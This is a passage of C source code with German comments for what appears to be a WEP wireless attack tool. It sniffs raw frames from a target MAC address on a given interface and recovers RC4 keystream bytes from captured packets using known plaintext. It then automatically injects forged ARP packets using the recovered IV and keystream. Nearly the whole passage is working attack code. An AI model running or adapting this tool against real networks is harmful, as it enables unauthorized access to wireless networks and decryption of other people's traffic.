// printf("Packet is propably IPv4\n");
kv[7] = packet[35] ^ 00;
}
kv[7]=0x27^packet[35];
#ifdef DEBUG
// printf("IV= %x %x %x (key_index=%u)\n", iv[0], iv[1],iv[2],key_idx);
// printf("First 8 Byte of Keystream: %X %X %X %X %X %X %X %X \n", kv[0], kv[1], kv[2], kv[3], kv[4], kv[5], kv[6], kv[7]);
// printf("starting RC4-PRNG\n");
prepare_key(wep_key,8/* KEY_LAENGE*/, &rc4_schluessel);
for(i=0;i<8;i++) nul[i]=0x00;
rc4(nul,8, &rc4_schluessel);
// printf("Schluesselstrom=\t");
for(i=0;i<8;i++) printf("%x\t", nul[i]);
printf("\n(mit schluesselstrom) entschluesseltes packet:\n");
for(i=0;i<8;i++) printf("%x\t", nul[i]^packet[28+i]);
// printf("\n");
#endif
// printf("First 8 Byte of Keystream: %X %X %X %X %X %X %X %X \n", kv[0], kv[1], kv[2], kv[3], kv[4], kv[5], kv[6], kv[7]);
//printf("Proceed y/n? ");
//ask = getc(stdin);
//getc(stdin);
ask='y';
if (ask == 'y') send_arp(packet, iv, kv, key_idx);
return;
}
// Main Part
int
main (int argc, char **argv)
{
int sock, uid, n, i;
int packetsize = 2400; //sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);
unsigned char packet[packetsize];
struct ifreq ifr;
struct sockaddr_ll addr;
i = 0;
if (argc != 2)
{
printf ("use ./sniff <dev>\n");
return -1;
}
// Are you root?
uid = getuid ();
if (uid != 0)
{
printf ("You must have UID 0 instead of %d.\n", uid);
exit (1);
}
// Raw Socket oeffnen
/*by biba */
if ((sock = socket (PF_PACKET, SOCK_RAW, 0)) < 0)
return -1;
bzero (&ifr, sizeof (ifr));
strcpy (ifr.ifr_name, argv[1]);
if (ioctl (sock, SIOCGIFHWADDR, &ifr))
{
close (sock);
return -1;
}
if (ioctl (sock, SIOCGIFINDEX, &ifr))
{
close (sock);
return -1;
}
close (sock);
if ((sock = socket (PF_PACKET, SOCK_RAW, htons (0x3))) == -1)
{
perror ("socket");
exit (1);
}
bzero (&addr, sizeof (addr));
addr.sll_family = AF_PACKET;
addr.sll_ifindex = ifr.ifr_ifindex;
rawsock = sock;
#if 1
if (bind (sock, (struct sockaddr *) &addr, sizeof (addr)) < 0)
{
close (sock);
printf ("failed to bind device\n");
return -23;
}
#endif /* */
/*************/
// if( (sock = socket(AF_INET,SOCK_PACKET,htons(0x3))) == -1) { perror("socket"); exit(1); }
while (1)
{
n = read (sock, packet, packetsize);
/* wenn das netz eine bestimmt mac hat: packet+0x0a*/
if (//(packet[0] == 0x08) &&
((TMAC0==(unsigned char)packet[10]) &&
(TMAC1==(unsigned char)packet[11]) &&
(TMAC2==(unsigned char)packet[12]) &&
(TMAC3==(unsigned char)packet[13]) &&
(TMAC4==(unsigned char)packet[14]) &&
(TMAC5==(unsigned char)packet[15]))
/* &&
(((MAC0==(unsigned char)packet[4]) &&
(MAC1==(unsigned char)packet[5]) &&
(MAC2==(unsigned char)packet[6]) &&
(MAC3==(unsigned char)packet[7]) &&
(MAC4==(unsigned char)packet[8]) &&
(MAC5==(unsigned char)packet[9]))
||
((MAC0==(unsigned char)packet[16]) &&
(MAC1==(unsigned char)packet[17]) &&
(MAC2==(unsigned char)packet[18]) &&
(MAC3==(unsigned char)packet[19]) &&
(MAC4==(unsigned char)packet[20]) &&
(MAC5==(unsigned char)packet[21])))*/
)
print_header (packet, n);
have_fun(packet, n);
#if 0
for (i = 0; i < n; i++)
printf ("%x ", (unsigned char) packet[i]);
printf ("%s:%d\t --> \t%s:%d \tSeq: %d \tAck: %d\n",
inet_ntoa (*(struct in_addr *) &ip->saddr),
ntohs (tcp->source),
inet_ntoa (*(struct in_addr *) &ip->daddr), ntohs (tcp->dest),
ntohl (tcp->seq), ntohl (tcp->ack_seq));
#endif /* */
} return 0;
}